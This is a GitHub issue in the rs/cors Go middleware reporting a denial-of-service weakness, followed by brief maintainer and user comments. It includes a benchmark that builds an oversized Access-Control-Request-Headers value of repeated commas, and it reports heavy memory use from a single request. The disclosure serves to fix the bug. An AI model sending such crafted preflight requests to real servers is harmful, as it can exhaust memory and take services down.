Some malicious/spoofed preflight requests cause prohibitive load
jub0bs opened this issue · 3 comments
Problem
The middleware processes the Access-Control-Request-Headers
(ACRH) header of preflight requests in a rather suboptimal way. More specifically, processing a preflight request with a maliciously long ACRH header (or multiple such headers) requires a relatively long time and causes a lot of heap allocations:
func BenchmarkPreflightAdversarialACRH(b *testing.B) {
resps := makeFakeResponses(b.N)
req, _ := http.NewRequest(http.MethodOptions, dummyEndpoint, nil)
req.Header.Add(headerOrigin, dummyOrigin)
req.Header.Add(headerACRM, http.MethodGet)
req.Header[headerACRH] = adversarialACRH
handler := Default().Handler(testHandler)
b.ReportAllocs()
b.ResetTimer()
for i := 0; i < b.N; i++ {
handler.ServeHTTP(resps[i], req)
}
}
var adversarialACRH []string
func init() { // populates adversarialACRH
n := int(math.Floor(math.Sqrt(http.DefaultMaxHeaderBytes)))
commas := strings.Repeat(",", n)
res := make([]string, n)
for i := range res {
res[i] = commas
}
adversarialACRH = res
}
$ go test -benchmem -run=^$ -bench ^BenchmarkPreflightAdversarialACRH$
oos: darwin
goarch: amd64
pkg: github.com/rs/cors
cpu: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz
BenchmarkPreflightAdversarialACRH-8 9 127347568 ns/op 121176114 B/op 1053 allocs/op
PASS
ok github.com/rs/cors 3.628s
That's 127ms of execution time and a whopping 116 MiB of heap allocations to process a single 1-MiB malicious preflight request! 😬
Impact
This behaviour could be abused by attackers to produce undue load on the middleware/server as an attempt to cause a denial of service. I conducted some local tests: I created a small server configured for CORS with rs/cors and ran it in a Docker container with limited memory; concurrently sending a modest number of malicious preflight requests was enough to make the container run out of memory and die. 💀
Moreover, because CORS middleware occurs before authentication, attackers wouldn't even need to be authenticated.
Sure, most WAFs would likely drop those malicious preflight requests, but not all servers sit behind a WAF.
Solution
I have a fix ready and will submit a PR shortly.
Thanks, looking forward to your PR.
Do we have any CVE assigned for this issue?
@ilayathalapathy-3719 AFAIK, no CVE was assigned for this issue, but I did notify the Go Vulnerability Database about it.
Out of curiosity: are you observing exploitation of this issue in the wild?